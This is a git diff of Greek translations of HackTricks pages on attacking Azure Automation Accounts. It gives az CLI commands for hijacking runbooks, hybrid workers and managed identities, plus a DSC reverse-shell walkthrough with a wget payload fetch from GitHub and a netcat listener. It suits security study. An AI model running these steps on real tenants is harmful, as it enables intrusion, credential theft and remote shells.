mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -4,15 +4,24 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
|
||||
Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
|
||||
|
||||
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στο Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
|
||||
|
||||
> [!TIP]
|
||||
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο μπορείτε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθείσες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
@@ -38,7 +47,11 @@ az automation runbook publish \
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελεί ένα Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
--resource-group <res-group> \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
@@ -51,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενη από τον χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,7 +104,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατόν να ανατεθεί ένας Προγραμματιστής σε ένα runbook χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -114,7 +127,7 @@ az rest --method PUT \
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
|
||||
Σημειώστε ότι θα χρειαστεί να **υποδείξετε το URI του webhook** με το token που θα χρησιμοποιήσετε.
|
||||
```bash
|
||||
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
@@ -182,30 +196,46 @@ az automation source-control create \
|
||||
```
|
||||
Αυτό θα εισάγει αυτόματα τα runbooks από το αποθετήριο Github στον Λογαριασμό Αυτοματοποίησης και με κάποιες άλλες άδειες για να αρχίσουν να εκτελούνται, θα ήταν **δυνατό να γίνει κλιμάκωση δικαιωμάτων**.
|
||||
|
||||
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής σε Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, αυτό μπορεί επίσης να ρυθμιστεί ορίζοντας στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** το **client id** της διαχειριζόμενης ταυτότητας χρήστη που θα χρησιμοποιηθεί.
|
||||
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί.
|
||||
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του repo ενός ελέγχου πηγής μόλις δημιουργηθεί.
|
||||
|
||||
### Προσαρμοσμένα Περιβάλλοντα Εκτέλεσης
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Εάν ένας λογαριασμός αυτοματοποίησης χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **μια πίσω πόρτα**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"name": "<variable-name>",
|
||||
"properties": {
|
||||
"description": "",
|
||||
"value": "\"<variable-value>\"",
|
||||
"isEncrypted": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
### Συμβιβασμός Ρύθμισης Κατάστασης
|
||||
Εάν ένας λογαριασμός αυτοματοποίησης χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
|
||||
**Δείτε την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
### Compromising State Configuration
|
||||
|
||||
- Βήμα 1 — Δημιουργία Αρχείων
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
**Απαιτούμενα Αρχεία:** Χρειάζονται δύο σενάρια PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από το [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για να δημοσιεύσει τη ρύθμιση στον VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
|
||||
**Files Required:** Δύο σενάρια PowerShell είναι απαραίτητα:
|
||||
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για να δημοσιεύσει τη διαμόρφωση στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
- Βήμα 2 — Συμπίεση Αρχείου Ρύθμισης
|
||||
**Customization:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
|
||||
|
||||
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Λογαριασμό Αποθήκευσης Azure.
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
@@ -217,7 +247,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
|
||||
```
|
||||
- Βήμα 4 — Προετοιμασία του Kali Box
|
||||
|
||||
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub.
|
||||
Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
@@ -229,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
|
||||
|
||||
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να συλλάβει τις εισερχόμενες συνδέσεις.
|
||||
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Οι Azure Automation Accounts είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
|
||||
Οι Azure Automation Accounts είναι υπηρεσίες cloud που παρέχονται από τη Microsoft Azure και βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
|
||||
|
||||
### Settings
|
||||
|
||||
@@ -32,7 +32,7 @@
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Υπάρχουν 3 κύριοι τρόποι εκτέλεσης ενός Runbook:
|
||||
Υπάρχουν 3 κύριοι τρόποι για να εκτελέσετε ένα Runbook:
|
||||
|
||||
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**.
|
||||
- **Webhooks**: Αυτά είναι **HTTP endpoints** που μπορούν να χρησιμοποιηθούν για να **ενεργοποιούν** Runbooks από **εξωτερικές υπηρεσίες**. Σημειώστε ότι το URL του webhook **δεν είναι ορατό** μετά τη δημιουργία.
|
||||
@@ -40,17 +40,17 @@
|
||||
|
||||
### Source Control
|
||||
|
||||
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για τη δημοσίευση των Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό Azure Automation.
|
||||
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιεύσετε τα Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό Azure Automation.
|
||||
|
||||
Όταν η συγχρονισμός είναι ενεργοποιημένος, στο **αποθετήριο Github δημιουργείται ένα webhook** για να ενεργοποιεί τη συγχρονισμό κάθε φορά που συμβαίνει ένα γεγονός push. Παράδειγμα URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** όταν καταχωρείτε webhooks στα συσχετιζόμενα runbooks με το αποθετήριο Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
|
||||
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το αποθετήριο Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
|
||||
|
||||
Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να ανατεθεί μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό Automation, είναι δυνατή η ρύθμιση της μεταβλητής **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** στο **Client ID της Διαχειριζόμενης Ταυτότητας Χρήστη**.
|
||||
Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να ανατεθεί μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό Automation, είναι απαραίτητο να δηλωθεί το client ID της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
Κατά τη δημιουργία ενός Runbook είναι δυνατή η επιλογή του περιβάλλοντος εκτέλεσης. Από προεπιλογή, τα παρακάτω περιβάλλοντα εκτέλεσης είναι διαθέσιμα:
|
||||
Κατά τη δημιουργία ενός Runbook είναι δυνατή η επιλογή του περιβάλλοντος εκτέλεσης. Από προεπιλογή, τα εξής περιβάλλοντα εκτέλεσης είναι διαθέσιμα:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -59,25 +59,32 @@
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Ωστόσο, είναι επίσης δυνατή η **δημιουργία των δικών σας περιβαλλόντων**, χρησιμοποιώντας ένα από αυτά ως βάση. Στην περίπτωση του python, είναι δυνατή η μεταφόρτωση πακέτων `.whl` στο περιβάλλον που θα χρησιμοποιηθεί. Στην περίπτωση του PowerShell, είναι δυνατή η μεταφόρτωση πακέτων `.zip` με τα modules που θα έχετε στο runtime.
|
||||
Ωστόσο, είναι επίσης δυνατή η **δημιουργία των δικών σας περιβαλλόντων**, χρησιμοποιώντας ένα από αυτά ως βάση. Στην περίπτωση του Python, είναι δυνατή η μεταφόρτωση πακέτων `.whl` στο περιβάλλον που θα χρησιμοποιηθεί. Στην περίπτωση του PowerShell, είναι δυνατή η μεταφόρτωση πακέτων `.zip` με τα modules που θα υπάρχουν στην εκτέλεση.
|
||||
|
||||
### Hybrid Worker
|
||||
### Hybrid Worker Groups
|
||||
|
||||
Ένα Runbook μπορεί να εκτελείται σε ένα **container μέσα στην Azure** ή σε έναν **Υβριδικό Εργαζόμενο** (μηχανή εκτός Azure).\
|
||||
Ο **Log Analytics Agent** αναπτύσσεται στο VM για να το καταχωρήσει ως υβριδικό εργαζόμενο.\
|
||||
Οι εργασίες υβριδικών εργαζομένων εκτελούνται ως **SYSTEM** σε Windows και **nxautomation** account σε Linux.\
|
||||
Κάθε Υβριδικός Εργαζόμενος είναι καταχωρημένος σε μια **Ομάδα Υβριδικών Εργαζομένων**.
|
||||
Στην Azure Automation, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **μία ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε Azure VMs. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure.
|
||||
|
||||
Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο Windows**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot).
|
||||
Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλωθούν τα **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές:
|
||||
|
||||
- **Default credentials**: Δεν χρειάζεται να παρέχετε τα credentials και τα runbooks θα εκτελούνται μέσα στα VMs ως **System**.
|
||||
- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VMs**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρα credentials** για τα VMs.
|
||||
|
||||
Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Windows Hybrid Worker**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot).
|
||||
|
||||
Επιπλέον, εάν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**.
|
||||
|
||||
> [!TIP]
|
||||
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από την οποία λαμβάνετε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### State Configuration (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Azure Automation State Configuration θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Οι λογαριασμοί αυτοματοποίησης υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VM σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές.
|
||||
Οι Automation Accounts υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VMs σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές.
|
||||
|
||||
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VM**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VM, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VMs**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VMs, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get hybrid worker groups for an automation account
|
||||
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get hybrid worker group details
|
||||
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
|
||||
|
||||
# Get more details about a hybrid worker group (like VMs inside it)
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||
```
|
||||
|
||||
```powershell
|
||||
@@ -212,7 +228,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## Ανύψωση Δικαιωμάτων & Μετά την Εκμετάλλευση
|
||||
## Ανάβαση Προνομίων & Μετά την Εκμετάλλευση
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
|
||||
Reference in New Issue
Block a user